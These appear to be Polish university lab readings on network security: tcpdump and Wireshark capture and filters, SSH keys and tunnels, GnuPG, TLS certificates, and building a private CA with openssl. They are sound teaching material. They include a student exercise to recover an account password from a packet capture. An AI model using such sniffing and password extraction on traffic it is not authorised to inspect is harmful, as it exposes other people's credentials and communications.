# sudo tcpdump -D
W wyniku otrzymamy odpowiedź w stylu
1.enp0s25 [Up, Running, Connected] 2.wlp3s0 [Up, Running, Wireless, Associated] 3.any (Pseudo-device that captures on all interfaces) [Up, Running] 4.lo [Up, Running, Loopback] 5.docker0 [Up, Disconnected] 6.bluetooth0 (Bluetooth adapter number 0) [Wireless, Association status unknown] 7.bluetooth-monitor (Bluetooth Linux Monitor) [Wireless] 8.usbmon3 (Raw USB traffic, bus number 3) 9.usbmon2 (Raw USB traffic, bus number 2) 10.usbmon1 (Raw USB traffic, bus number 1) 11.usbmon0 (Raw USB traffic, all USB buses) [none] 12.nflog (Linux netfilter log (NFLOG) interface) [none] 13.nfqueue (Linux netfilter queue (NFQUEUE) interface) [none]
która nam wskaże, że nie tylko mamy interfejs sieciowy bezprzewodowy
(wlp3s0
) oraz bezprzewodowy (enp0s25
), ale
także że możemy przysłuchiwać się komunikacji Bluetooth czy przez
porty szeregowe USB albo też dowiadywać się, co się dzieje na naszej
ścianie ogniowej zaimplementowanej za pomocą netfilter.
W związku z tym, że program tcpdump
może pokazywać
informacje niekoniecznie publiczne, dostęp do jego wykonywania jest
zwykle możliwy tylko, jeśli mamy prawa administratora. Stąd
wszystkie wywołania tego polecenia w tej czytance są poprzedzone
wywołaniem programu sudo
. Wywołanie to można opuścić,
jeśli wykonujemy polecenia jako root.
Spróbujmy pozyskać jakieś informacje z urządzeń sieciowych, do których jesteśmy podłączeni. Najprościej można zrobić to tak:
# tcpdump -i any
Polecenie to sprawi, że zaczniemy uzyskiwać informacje o wszystkich
pakietach trafiających do dowolnego z interfejsów komunikacyjnych,
które są przeglądane przez tcpdump
. Przykładowy wynik,
jaki możemy tu uzyskać to:
tcpdump: data link type LINUX_SLL2 dropped privs to tcpdump tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes 15:55:23.012033 enp0s25 In IP6 waw02s13-in-x0a.1e100.net.https > aronia.mimuw.edu.pl.52458: UDP, length 85 15:55:23.012712 enp0s25 In IP6 waw02s13-in-x0a.1e100.net.https > aronia.mimuw.edu.pl.52458: UDP, length 29 15:55:23.012913 enp0s25 Out IP6 aronia.mimuw.edu.pl.52458 > waw02s13-in-x0a.1e100.net.https: UDP, length 42 15:55:23.156775 wlp3s0 In IP intra-ns2.mimuw.edu.pl.domain > aronia.mimuw.edu.pl.52006: 1466 1/0/1 PTR waw02s13-in-x0a.1e100.net. (140) 15:55:23.157374 enp0s25 In IP6 waw02s13-in-x0a.1e100.net.https > aronia.mimuw.edu.pl.52458: UDP, length 1332
Powyższy wynik to fragment szybko przesuwającej się ściany tekstu,
jaką zwykle w takiej sytuacji możemy zobaczyć. Każdy wiersz tutaj
zawiera opis konkretnego pakietu, który trafił do nas
(adnotacja In
w trzeciej kolumnie) lub został z naszej
maszyny wysłany (adnotacja Out
w trzeciej kolumnie), a
odbyło się to w konkretnym punkcie czasu (zawartość pierwszej
kolumny) na wskazanym interfejsie (zawartość drugiej kolumny).
Jak łatwo się domyślić, widzimy tutaj trochę ruchu po IPv6 i trochę
po IPv4. Widać też tutaj trochę ruchu po protokole transportowym UDP
oraz jedną odpowiedź z systemu DNS (w punkcie czasowym
15:55:23.156775).
Warto też rozumieć, że w powyższych napisach wskazane jest też, kto jest nadawcą i odbiorcą pakietu. Na przykład fragment jednego z zapisów:
aronia.mimuw.edu.pl.52458 > waw02s13-in-x0a.1e100.net.https
wskazuje, że nadawcą pakietu jest komputer o adresie DNS
aronia.mimuw.edu.pl
(na lewo od znaku >), zaś
odbiorcą komputer o adresie
DNS waw02s13-in-x0a.1e100.net
(na prawo od znaku
>). Pozostaje wyjaśnić, czym są pozostałe fragmenty napisów,
tzn. 52458
oraz https
. Otóż są to numery
portów, między którymi następuje komunikacja. W tym przypadku
komunikacja zachodzi między portem 52458
o nieustalonej
funkcjonalności na maszynie aronia.mimuw.edu.pl
a
portem 443
na
maszynie waw02s13-in-x0a.1e100.net
, który ma ustaloną
domyślną funkcjonalność – jest to port protokołu HTTP działającego w
tunelu SSL. Powiązanie numeru portu (443) z usługą (https) wraz z wieloma innymi tego typu powiązaniami możemy
znaleźć w pliku /etc/services
.
Przy diagnozowaniu stanu sieci często się zdarza, że adresy DNS nie
są dostępne (bo nie możemy się skomunikować z serwerem DNS). Wtedy
wygodnym sposobem na uzyskanie wyników z
programu tcpdump
jest:
# sudo tcpdump -n -i any
Po takim wywołaniu wszystkie adresy będą wyświetlane w postaci adresów IP (zarówno IPv4, jak i IPv6).
Jeśli dodatkowo chcemy widzieć raczej numery portów niż nazwy usług
im odpowiadającym, to możemy wywołać tcpdump
tak:
# sudo tcpdump -nn -i any
Często się zdarza, że nie chcemy oglądać ciągnącej się ściany napisów, a jedynie rzucić okiem na kilka pakietów. Zwykle już to pozwala zorientować się, z jakim rodzajem awarii sieciowej mamy do czynienia (np. dużo pakietów DHCP wychodzących, ale za to żadnego przychodzącego, może świadczyć o tym, że nie mamy połączenia z lokalnym serwerem DHCP). W takiej sytuacji pomoże nam polecenie
# sudo tcpdump -i any -c3
które wyświetli nam tylko 3 pakiety (nazwa opcji -c pochodzi od angielskiego count).
Zwykle jednak oglądanie całego ruchu sieciowego jest zbyt trudne i chcemy się skupić na konkretnym jego wycinku. Do tego przydają się filtry. Najprostszy rodzaj filtru polega na podaniu rodzaju protokołu, jaki nas interesuje. Na przykład polecenie
# sudo tcpdump -i any -c3 udp
da nam wynik:
tcpdump: data link type LINUX_SLL2 dropped privs to tcpdump tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes 12:46:14.158336 wlp3s0 Out IP aronia.mimuw.edu.pl.45130 > _gateway.domain: 29009+ AAAA? ade.googlesyndication.com. (43) 12:46:14.158435 wlp3s0 Out IP aronia.mimuw.edu.pl.42889 > _gateway.domain: 5748+ A? ade.googlesyndication.com. (43) 12:46:14.169924 wlp3s0 Out IP aronia.mimuw.edu.pl.44201 > waw02s07-in-f161.1e100.net.https: UDP, length 401 3 packets captured 11 packets received by filter 0 packets dropped by kernel
za pomocą którego dowiemy się, że ruch DNS na lokalnej maszynie odbywa się za pomocą właśnie protokołu UDP (mogłoby też odbywać się za pomocą TCP). Warto jednak pamiętać, że takie określenie protokołu jest możliwe dla protokołów, które znajdują się co najwyżej na poziomie warstwy transportowej i sieci (tcp, udp, ip6, arp itp.).
Jeśli chcielibyśmy obejrzeć protokoły warstwy łącza, to musimy dodać jeszcze jedną opcję do wywołania. Wykonanie polecenia
# sudo tcpdump -i any -e -c3
da nam taki wynik:
# sudo tcpdump -i any -e -c3 tcpdump: data link type LINUX_SLL2 dropped privs to tcpdump tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes 13:01:29.120674 wlp3s0 In ifindex 3 76:c3:78:19:ee:44 (oui Unknown) ethertype IPv4 (0x0800), length 123: ed-in-f189.1e100.net.https > aronia.mimuw.edu.pl.60538: Flags [P.], seq 2827910991:2827911042, ack 1309638939, win 395, options [nop,nop,TS val 2425401776 ecr 996398348], length 51 13:01:29.120714 wlp3s0 Out ifindex 3 7c:7a:91:04:ba:ff (oui Unknown) ethertype IPv4 (0x0800), length 72: aronia.mimuw.edu.pl.60538 > ed-in-f189.1e100.net.https: Flags [.], ack 51, win 501, options [nop,nop,TS val 996427838 ecr 2425401776], length 0 13:01:29.223349 wlp3s0 Out ifindex 3 7c:7a:91:04:ba:ff (oui Unknown) ethertype IPv4 (0x0800), length 93: aronia.mimuw.edu.pl.34372 > _gateway.domain: 59285+ PTR? 189.143.125.74.in-addr.arpa. (45) 3 packets captured 4 packets received by filter 0 packets dropped by kernel
gdzie możemy zauważyć adresy, w tym przypadku ethernetowe (6 kolumna), informacje o numerze interfejsu (po słówku ifindex), informacje o rodzaju zawartości pakietu (po słówku ethertype) itp.
Często chcemy dowiedzieć się, jak wygląda ruch między komputerem a zewnętrznym światem, często z określonym komputerem:
# sudo tcpdump -i any -c3 host usosweb.mimuw.edu.pl
lub pod określonym portem
# sudo tcpdump -i any -c3 port https
(tutaj https można zastąpić oczywiście też przez 443).
Oczywiście nieco bardziej przydatna jest możliwość określenia, że interesuje nas ruch do konkretnego komputera pod konkretny port. Takie coś możemy uzyskać za pomocą łączenia reguł za pomocą wyrażeń logicznych:
# sudo tcpdump -i any -c3 host students.mimuw.edu.pl and port https
Gdyby nas natomiast interesował ruch do naszego lokalnego serwera, SSH, to można go uzyskać za pomocą polecenia:
# sudo tcpdump -i any -c3 \(src host aronia.mimuw.edu.pl or src host localhost\) and src port 22
Warto zwrócić uwagę na to, że bardziej skomplikowane wyrażenia wymagają użycia nawiasów, ale ponieważ nawiasy są znakami znaczącymi powłoki poleceń, to trzeba je ozdobić odpowiednim znakiem ochronnym.
Czasami nasza analiza ruchu może być czasochłonna. Wtedy zwykle lepiej jest nagrać sobie interesujący fragment ruchu na dysku i potem stosować filtry już na nim. Do nagrywania służy polecenie:
# sudo tcpdump -i any -e -w nazwapliku
które zapisze dane ściągnięte z sieci do pliku o nazwie nazwapliku. Odczytać dane można za pomocą polecenia
# sudo tcpdump -i any -e -r nazwapliku
które oczywiście można do woli ozdabiać potrzebnymi filtrami. Warto
sobie zakonotować, że do pliku nie trafiają całe pakiety, ale ich
początkowe fragmenty. Długość tych fragmentów można konfigurować za
pomocą odpowiedniej opcji tcpdump
. Zapraszamy do jej
wyszukania na stronie man.
Więcej na temat różnych możliwości filtrowania można przeczytać na
stronie man pcap-filter
(nota bene pcap
to
nazwa biblioteki, która pozwala na śledzenie pakietów, jakie
trafiają na urządzenia sieciowe do komputera.
Program wireshark
to w zasadzie graficzna nakładka na
program tcpdump
. Nakładka ta ma jednak pewne cechy,
które są bardzo użyteczne, a nie tak łatwe do uzyskania za pomocą
tego ostatniego. Najważniejsza z nich to możliwość uzyskania
ciągłego obrazu sesji TCP. W tym celu należy (po określeniu, z
jakiego źródła będziemy analizować dane) wybrać z menu opcję
Analizuj/Podążaj/Strumień TCP (lub Analyze/Follow/TCP Stream).
Warto przećwiczyć użycie filtrów wspomnianych przy okazji oglądania
programu tcpdump
. Z maszyną wirtualną można się
połączyć za pomocą polecenia.
# ssh -Y adres_maszyny
takie wywołanie pomoże wyświetlać graficzną aplikację, jaką
jest wireshark
.
Spróbujcie za pomocą programu wireshark
znaleźć hasło
do jednego konta, które zostało utrwalone w załączonym
pliku dump. Hasło w pliku tekstowym należy przesłać
do Moodle.
Załącznik | Wielkość |
---|---|
dump.tgz | 11.08 KB |
Na podstawie materiału przygotowanego przez Patryka Czarnika i Michała Kutwina
SSH (Secure Shell) to protokół zabezpieczający komunikację w warstwie aplikacji, którego podstawowym zastosowaniem jest zdalna praca przez konsolę tekstową. Może on być jednak używany także do innych celów, m.in. zdalnego używania aplikacji graficznych X Window, bezpiecznego przesyłania plików, montowania zdalnych katalogów i tunelowania dowolnych połączeń TCP.
Zabezpieczenie komunikacji polega na:
Używać będziemy implementacji OpenSSH, której podstawowe pakiety to zwykle openssh (instaluje go automatycznie każda znana mi dystrybucja) oraz openssh-server (to już często trzeba doinstalować samodzielnie).
Polecenie
ssh <nazwa hosta>
powoduje zalogowanie się na zdalnej maszynie. Jeśli dodatkowo po nazwie hosta podamy polecenie np.
ssh <nazwa hosta> ls
to na zdalnej maszynie zostanie wykonane powyższe polecenie i połączenie zostanie zakończone. Dodatkowa opcja -f pozwala na przejście klienta ssh w tło po wykonaniu operacji uwierzytelniających, ale przed wykonaniem polecenia na zdalnej maszynie:
ssh -f <nazwa hosta> ls
SSH oferuje kilka metod uwierzytelnienia, z najpopularniejszymi „password” (na podstawie hasła), „keyboard interactive” (bardziej ogólna metoda, w praktyce też najczęściej sprowadzająca się do podania hasła) oraz „public key” opisana w dalszej części.
Używanie uwierzytelnienia opartego o hasło jest o tyle wygodne, że nie wymaga specjalnej konfiguracji. Natomiast obarczone jest wieloma wadami z punktu widzenia bezpieczeństwa oraz wygody:
Generujmy parę kluczy (programem ssh-keygen), klucz prywatny pozostaje po stronie klienta (w pliku .ssh/id_rsa lub .ssh/id_dsa), a klucz publiczny jest wgrywany na serwer. Klucze publiczne są zapisywane na serwerze jeden po drugim w pliku .ssh/authorized_keys na koncie tego użytkownika, na które chcemy się logować; do dodania klucza na serwer można użyć także narzędzia ssh-copy-id (po stronie klienta).
Standardowo używa się osobnego klucza prywatnego dla każdego komputera (i konta), z którego łączymy się ze światem, oraz wgrywa się odpowiadające klucze publiczne na te serwery i konta, do których chcemy się logować. Klucz prywatny można zabezpieczyć hasłem, co utrudni użycie klucza w przypadku przejęcia pliku z kluczem.
„Losowo” wygenerowany klucz nie jest narażony na ataki słownikowe, a atak siłowy, ze względu na długość klucza, wymaga ogromnych nakładów. Protokół SSH nie przesyła klucza prywatnego nawet w postaci zaszyfrowanej, co zabezpiecza przed atakiem "man in the middle". Wadą tego rodzaju uwierzytelnienia jest konieczność przechowywania plików z kluczami i chronienia plików z kluczami prywatnymi.
Zarządzaniem kluczami podczas jednej sesji lokalnej może zajmować się program ssh-agent, do którego często systemowy interfejs użytkownika (Gnome, KDE itp.) oferuje nakładki graficzne. Można też używać tekstowego polecenia ssh-add, aby na czas sesji zapamiętać otwarty klucz. Uwalnia to użytkownika od konieczności wielokrotnego wpisywania hasła odblokowującego klucz.
OpenSSH pozwala dość dokładnie skonfigurować serwer i dostosować go do wymagań bezpieczeństwa, wygody i innych. Możliwe jest m.in. stosowanie ograniczeń na dostępne algorytmy, sposoby uwierzytelnienia, liczbę otwartych sesji itp. w zależności od użytkownika i hosta, z którego się łączy. Można także wymóc stosowanie uwierzytelnienia i limitów opartych o PAM (poprzednie zajęcia). Standardowo konfiguracja serwera zapisywana jest w pliku /etc/ssh/sshd_config.
Szczegóły: man sshd_config.
Większość opcji dla klienta SSH można podać bezpośrednio w wierszu poleceń, ale dla wygody można także zapisać je w pliku konfiguracyjnym, w razie potrzeby uzależniając konfigurację od serwera docelowego. Konfiguracja klienta SSH zapisywana jest w plikach /etc/ssh/ssh_config (domyślna dla systemu) i ~/.ssh/config (dla użytkownika).
Szczegóły: man ssh oraz man ssh_config
Służą do tego protokoły i odpowiadające im aplikacje scp (najprostsza), sftp i rsync (bardziej zaawansowane), wewnętrznie używające protokołu SSH.
Cechą charakterystyczną sftp jest zbiór poleceń analogicznych do poleceń FTP, natomiast cechą charakterystyczną rsync jest różnicowe przesyłanie plików – sprawdzanie (poprzez porównywanie skrótów), które pliki lub bloki większych plików uległy zmianie i przesyłanie tylko tych zmienionych. Oba polecenia pozwalają przesyłać całe drzewa katalogów z możliwością filtrowania po rodzaju pliku, przenoszenia uprawnień itp.
Uwaga: SFTP jest niezależnie zdefiniowanym protokołem (funkcjonalnie wzorowanym na FTP), a nie jest tylko tunelowaniem zwykłego FTP w połączeniu SSH (ani tym bardziej SSL).
Pośrednio z SSH do transferu plików mogą korzystać także cvs, svn czy git.
Wszyscy znamy (a przynajmniej powinniśmy) mechanizm NFS do tworzenia sieciowych systemów plików - montowania lokalnie katalogów serwera plików. Zwykły użytkownik może osiągnąć to samo: zamontować sobie katalog z innego komputera. Jedyny warunek: trzeba mieć konto na ,,serwerze''.
Do takiego ad hoc montowania służy program sshfs. Do zamontowania zdalnego
katalogu używamy polecenia
sshfs komputer:katalog punkt-montowania
Punkt montowania to katalog na lokalnym komputerze (najlepiej pusty ;-). Pierwszy argument to katalog na zdalnym komputerze w typowej notacji używanej przez scp itp. Trzeba mieć do niego odpowiednie prawa.
Od tego momentu cała struktura tego katalogu jest widoczna lokalnie. Polecenie akceptuje większość opcji ssh i jescze trochę, szczegóły jak zwykle w man.
Aby odmontować taki katalog piszemy
fusermount -u punkt-montowania
To polecenie zdradza rodzaj użytego ,,oszustwa'': korzystamy z modułu jądra FUSE (Filesystem in USErspace).
Bezpieczne tunelowanie połączeń TCP ogromnie zwiększa gamę zastosowań SSH. Istnieją dwa rodzaje tuneli ze względu na kierunek:
-L
): połączenia do podanego lokalnego portu klienta są przekazywane na serwer SSH i stamtąd łączymy się z docelowym serwerem, np.
ssh -L 1234:www.w3.org:80 students.mimuw.edu.pl
spowoduje otwarcie na lokalnej maszynie portu 1234 do nasłuchiwania, a połączenie do tego portu zostanie przekazane (w tunelu) na students i stamtąd otwarte (już bez ochrony) do www.w3.org na port 80.
-R
): połączenia do podanego portu na serwerze SSH są przekazywane na maszynę lokalną i z niej łączymy się z docelowym adresem, np.
ssh -R 1234:localhost:8080 students.mimuw.edu.pl
spowoduje, że na students zostanie otwarty do nasłuchiwania port 1234, a połączenia przychodzące do tego portu zostaną (w tunelu) przekazane na lokalną maszynę (z której wywoływaliśmy ssh) i tam (bo napisaliśmy localhost
) zostaną skierowane do portu 8080.
Uwaga: domyślna konfiguracja SSH (także na students) powoduje, że porty otwarte na serwerze nie są widoczne z zewnątrz, a jedynie poprzez lokalny interfejs loopback („localhost”); można to zmienić w konfiguracji serwera za pomocą opcji GatewayPorts
.
Można także tworzyć w konfiguracji „urządzenia tunelowe” czy tunelować protokół SOCKS, w co się już nie wgłębiamy.
źródło obrazka: http://jakilinux.org/aplikacje/sztuczki-z-ssh-2-tunele/
OpenPGP to otwarty standard IETF oparty o wcześniejszy, obecnie częściowo komercyjny, produkt PGP (Pretty Good Privacy). Standard ten opisuje metody zabezpieczania poczty elektronicznej i plików. Podstawą jest użycie kryptografii klucza publicznego, a gdy przyjrzeć się szczegółom, okaże się, że używana jest także kryptografia klucza sekretnego ("szyfrowanie symetryczne"), bezpieczne funkcje haszujące ("skrót kryptograficzny"), kompresja oraz konwersja radix64.
Dwie najważniejsze funkcje to podpisywanie wiadomości (kluczem prywatnym nadawcy) i szyfrowanie wiadomości (kluczem publicznym odbiorcy). Do weryfikacji podpisu potrzebny jest klucz publiczny nadawcy, a do odszyfrowania wiadomości klucz prywatny odbiorcy. Podpisywanie i szyfrowanie mogą być stosowane niezależnie od siebie.
Przyjrzyjmy się operacjom nieco bardziej szczegółowo.
Podpisywanie polega na:
Szyfrowanie polega na:
Popularną otwartą implementacją standardu jest GnuPG. Pod Linuksem dostępne są polecenia: gpg i gpg2, którymi można wykonywać operacje na plikach (także zapisanych wiadomościach) i zarządzać kluczami.
Sama aplikacja może być także używana do wykonywania na plikach pojedynczych operacji – składników standardu PGP, z czego użyteczne może być np. szyfrowanie plików na dysku czy weryfikacja spójności plików pobranych z sieci (wykorzystywane przez menedżery pakietów rpm i deb).
Aby wygenerować klucz piszemy
gpg --gen-key
Inne popularne polecenia opisano w Ważniaku, a wszystkie w man gpg.
Użycie OpenPGP w poczcie elektronicznej (do czego został stworzony) jest wygodniejsze gdy użyjemy klientów poczty wyposażonych we wsparcie dla tego standardu. Przykładem może być Thunderbird z dodatkiem Enigmail. Pozwala on nie tylko na podpisywanie, weryfikację, szyfrowanie i odszyfrowanie wiadomości, ale także na zarządzanie kluczami PGP/GPG zainstalowanymi na naszym komputerze.
Standardem podobnym w idei i zastosowaniach do PGP jest S/MIME. Szyfrowanie i podpisywanie odbywa się na tej samej zasadzie. Różnica dotyczy zarządzania certyfikatami (wizytówki z kluczami publicznymi, często same podpisane innym kluczem): w S/MIME muszą być uwierzytelnione przez instytucję uwierzytelniającą i tworzą drzewo zaufania w modelu PKI (public key infrastructure).
Ograniczenia, które chcemy wprowadzić w życie za pomocą mechanizmów typu SSH, PGP czy S/MIME, nie zadziałają, jeśli nie zostaną wprowadzone w życie. To znaczy: samo używanie PGP nie gwarantuje, iż dane nie zostaną podejrzane, samo używanie SSH nie oznacza, że łączymy się rzeczywiście z serwerem, na którym chcemy pracować. Podpisy zapewniają, że dane pochodzą od określonego odbiorcy, ale jedynie jeśli mamy pewność, że klucz od tego odbiorcy rzeczywiście pochodzi. Każda komunikacja zapośredniczona (przez telefon, emailem, kodem Morse'a stukanym w rurę wodociągową) nie daje pewności, że przekazany klucz jest właściwy - ktoś mógł przecież ten kanał komunikacyjny przejąć i nam podłożyć klucz niewłaściwy. Możemy zwiększać naszą pewność przez zwiększanie liczby niezależnych mediów, za pomocą których przesyłamy klucz (np. SMS-em i emailem - jak się oba klucze zgadzają, to klucz jest właściwy ze znacznie większym prawdopodobieństwem niż jak, gdy tylko został przesłany pocztą). Dużo większe prawdopodobieństwo (choć dalej nie 100%) poprawności klucza zyskujemy, gdy bezpośrednio spotkamy właściciela i porównamy klucz na jego maszynie z kluczem na swojej. Dlatego wśród użytkowników PGP popularne są, i warto je urządzać, tzw. key signing parties. Na nich właśnie można sobie klucze obejrzeć bezpośrednio i je sobie nawzajem podpisać - wtedy uzyskujemy własność, że kilka osób spojrzało na klucz i potwierdziło jego poprawność.
Ważne też jest w tym całym obrazku sprawdzanie, czy suma kontrolna instalowanej przeglądarki zgadza się z sumą kontrolną, jaką podaje (za pomocą różnych mediów: internetu, SMS-a itp.) jej twórca. Mało kto to robi, a od tej operacji zależy bezpieczeństwo naszych pieniędzy w kontach bankowych (przestępca może podłożyć do przeglądarki własny certyfikat uwierzytelniający stronę, która wygląda jak strona banku, ale podmienia numer konta docelowego).
Temat opisują także scenariusze 7 i 8 na Ważniaku. Zwróć uwagę szczególnie
na niewymienione w bieżącym tekście polecenia programu gpg.
Przeczytaj (żeby wiedzieć jakie są możliwości, ale niekoniecznie znać na pamięć składnię i opcje):
man ssh, man ssh-keygen, man sshd_config, man gpg.
Warto przejrzeć (i wyłapać najważniejsze hasła) także:
man ssh_config, man ssh-agent, man scp, man rsync, man sftp, a także SSH i PGP na Wikipedii.
Plik z poleceniami realizującymi te działania prześlij do Moodle.
SSL to standard ochrony warstwy aplikacji wykonany wraz z implementacją przez Netscape Communications Corporation. Powstały wersje SSL v1, v2, v3. Od 1996 roku standard jest rozwijany przez grupe roboczą IETF na bazie SSL v3 jako TLS (Transport Layer Security), powstały wersje standardu TLS 1.0 - RFC 2246, TLS 1.1 - RFC 4346, TLS 1.2 - RFC 5246, TLS 1.3 - RFC 8446.
SSL v1, v2, v3, TLS 1.0, 1.1 są uznawane za niebezpieczne. W tych wersjach istnieją udokumentowane podatności na ataki różnych typów.
Najbardziej popularna to OpenSSL (https://www.openssl.org/). Zawiera implementację standardów SSL v2, v3, TLS 1.0-1.3. OpenSSL to biblioteka wraz z zestawem narzędzi (przede wszystkim program openssl). Alternatywna implementacja: GnuTLS - TLS 1.1-1.3 i SSL v3 (https://www.gnu.org/software/gnutls/).
SSL/TLS zapewnia zestawienie szyfrowanego i uwierzytelnionego kanału dla warstwy aplikacji. W modelu ISO/OSI SSL/TLS znajduje się w
warstwie prezentacji, zatem ponad warstwą transportu (TCP/UDP), ale poniżej warstwy aplikacji.
Koncepcja SSL/TLS wykorzystuje idee kryptografi symetrycznej i niesymetrycznej. Kryptografia niesymetryczna służy do uwierzytelnienia i ustalenia w bezpieczny sposób klucza sesji. Następnie wykorzystywana jest kryptografia symetryczna (i ustalony klucz sesji), co zwiększa wydajność.
To, że uda się zestawić kanał szyfrowany nie oznacza jeszcze, że wiadomo z jakim serwerem http mamy połączenie... Co się stanie, jeśli ktoś podszyje się pod serwer http (co jest popularnym sposobem wyłudzania haseł i innych poufnych informacji)? Przeglądarka, łącząc się z serwerem http, dostaje od niego certyfikat, w którym znajduje się klucz publiczny serwera. Oprócz klucza publicznego
certyfikat zawiera także inne dane:
Dzieki tym danym, certyfikat poświadcza związek osoby z kluczami, którymi się posługuje. Ponieważ certyfikat jest podpisany, przeglądarka może sprawdzić autentyczność podpisu. Dokonuje tego za pomocą certyfikatów zawierających klucze publiczne Centrów Certyfikacji (Certification Authorities, CAs), jednostek wystawiających certyfikaty. CAs spełniają rolę zaufanej trzeciej strony (trusted third party) i odpowiedzialne są za poświadczanie tożsamości klientów. Zanim CA podpisze certyfikat podmiotu, sprawdza jego tożsamość (np. przez sprawdzenie dowodu osobistego, czy uprawnień do posługiwania się nazwą instytucji).
Przeglądarka weryfikuje certyfikat za pomocą zbioru certyfikatów zaufanych CA. Jeśli weryfikacja podpisu nie powiedzie się, generowane jest ostrzeżenie. Ostrzeżenia są tworzone także, jeśli nie zgadzają się inne elementy certyfikatu, np: data ważności, czy nazwa domeny (gdy serwer wyśle certyfikat zawierający inna nazwę domenową, niż ta która znajduje się w URL).
Przed wystawieniem certyfikatu dochodzi jedynie do weryfikacji dostępu do domeny, zwykle w sposób automatyczny. Nie są sprawdzane dane organizacji, która ubiega się o certyfikat.
CA dokonuje weryfikacji danych właściciela witryny i samego podmiotu, który ubiega się o certyfikat (tożsamości firmy).
W efekcie, w certyfikacie można znaleźć nazwę i dane firmy, oraz także potwierdzenie, że dany podmiot jest właścicielem strony. Ze względu na bardziej dokładną weryfikację, cena certyfikatu OV jest zwykle wyższa niż DV.
Ten proces polega na najdokładniejszej weryfikacji i trwa najdłużej. Walidacja danych firmy odbywa się m.in. na podstawie rządowych baz. Sprawdzane jest też prawo do posługiwania się domeną.
Na potrzeby własnej instytucji można utworzyć własne CA i z jego pomocą generować certyfikaty. Może to ograniczyć koszty utrzymywania certyfikatów podpisywanych przez zaufane CA np. Verisign. Tak utworzone certyfikaty spowodują, że np. przeglądarka internetowa lub inne aplikacje będą generować ostrzeżenia związane z brakiem możliwości weryfikacji podpisu (brakiem zaufania do CA podpisującej wystawiony certyfikat). By uniknąć generowania takich ostrzeżeń, certyfikat własnego CA należy zaimportować do przeglądarki.
Jeśli chcemy mieć bezpłatny certyfikat podpisany przez rozpoznawalne, zaufane CA, można skorzystać z certyfikatów
https://letsencrypt.org/. Są to certyfikaty tylko DV, wystawiane na okres 3 miesięcy.
Wyżej opisana koncepcja obiegu informacji związanych z wystawianiem certyfikatów dla podmiotów, wraz z istnieniem organizacji CA poświadczających związek certyfikatu z konkretną instytucją lub osobą nosi nazwę Infrastruktury Klucza Publicznego (ang. Public Key Infrastructure), w skrócie PKI.
Struktura PKI podlega standaryzacji i opiera się na dwóch elementach. Jednym jest standard X.509 opisujący strukturę certyfikatów oraz drugi określany mianem PKCS (ang. Public Key Cryptography Standards).
Wszystkie przykłady w tym dokumencie zakładają wykorzystanie kryptografii RSA. Współczesne wersje OpenSSL
mogą korzystać z kryptografii opartej o krzywe eliptyczne (ang. Elliptic Curve Cryptography (ECC)).
Główne elementy implementacji ECC w OpenSSL to Elliptic Curve Digital Signature Algorithm (ECDSA) i Elliptic Curve Diffie-Hellman (ECDH).
ECDSA służy do podpisywania i weryfikacji podpisów w oparciu o kryptografię krzywych eliptycznych, a ECDH to algorytm bezpiecznego uzgadniania kluczy, np. wspólnego klucza dla szyfrowania symetrycznego.
Dużą zaletą ECC jest znacznie mniejsza długość klucza, więc zyskuje się na wydajności.
Poniższa tabela porównuje klucze o takiej samej sile kryptograficznej. Jak widać, długość klucza dla RSA
szybko rośnie. Uzyskiwanie coraz większej siły kryptograficznej dla RSA może być, w sensie
wydajnościowym, nieopłacalne. Należy więc oczekiwać, że kryptografia ECC będzie coraz szerzej stosowana
w certyfikacji oferowanej przez organizacje CA. Certyfikaty RSA są jednak nadal powszechnie tworzone i używane.
Długość klucza dla kryptografii symetrycznej | Długość klucza dla kryptografii niesymetrycznej RSA | Długość klucza dla kryptografii niesymetrycznej ECC |
---|---|---|
80 | 1024 | 160 |
112 | 2048 | 224 |
128 | 3072 | 256 |
192 | 7680 | 384 |
256 | 15360 | 512 |
W poniższym przykładzie będziemy posługiwać się bezpośrednio programem openssl. Można używać też pod Debianem 10
/usr/lib/ssl/misc/CA.pl, jest to opakowanie do programu openssl, aby łatwiej było tworzyć m.in. własne CA, prośby o certyfikację
itp. Por. /usr/lib/ssl/misc/CA.pl -help
Popatrzmy na polecenie
openssl genrsa -out ca.key 2048
Klucz prywatny naszego CA wygenerowany w powyższy sposób nie będzie chroniony! Jak to zmienić i czy warto?
Następnie tworzymy certyfikat CA (ważność: 3650 dni, self signed (opcja -x509)):
openssl req -new -x509 -days 3650 -key ca.key -out ca.crt
Podajemy niezbędne dane:
Country Name (2 letter code) [AU]:PL State or Province Name (full name) [Some-State]:Mazowieckie Locality Name (eg, city) []:Warszawa Organization Name (eg, company) [Internet Widgits Pty Ltd]:MIM UW Organizational Unit Name (eg, section) []:BSK LAB Common Name (eg, YOUR name) []:CA BSK LAB Email Address []:ca@mimuw.edu.pl Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: pomijamy An optional company name []: pomijamy
W efekcie, w katalogu bieżącym, powstał certyfikat naszego CA (ca.crt) oraz klucz prywatny CA (ca.key)
Tworzymy klucz prywatny i prośbę do CA (bsk.csr) o certyfikowanie wygenerowanego klucza publicznego. Czy klucz prywatny powinien być chroniony hasłem (zaszyfrowany)?
openssl genrsa -out bsk.key 2048 openssl req -new -key bsk.key -out bsk.csr
Podajemy dane
Country Name (2 letter code) [AU]:PL State or Province Name (full name) [Some-State]:Mazowieckie Locality Name (eg, city) []:Warszawa Organization Name (eg, company) [Internet Widgits Pty Ltd]:MIM UW Organizational Unit Name (eg, section) []:BSK LAB Common Name (eg, YOUR name) []:bsklabXX.mimuw.edu.pl (zastąp XX numerem twojej stacji roboczej) Email Address []: bsklab13@mimuw.edu.pl A challenge password []: pomijamy An optional company name []: pomijamy
Ponieważ klucza publicznego używać będziemy do zestawiania połączeń https, subjectAltName musi zawierać nazwę hosta, dla którego wystawiamy certyfikat (inaczej przeglądarka internetowa będzie wyświetlać komunikat o niezgodności). Przy czym OpenSSL po cichu kopiuje do subjectAltName wpisywaną w powyższym dialogu zawartość pola Common Name.
Można wystawić certyfikat dla kilku nazw domenowych, trzeba wtedy dodać alternatywne nazwy do pola subjectAltName.
Oglądamy nasz csr, sprawdzamy, czy wszystko się zgadza:
openssl req -in bsk.csr -noout -text
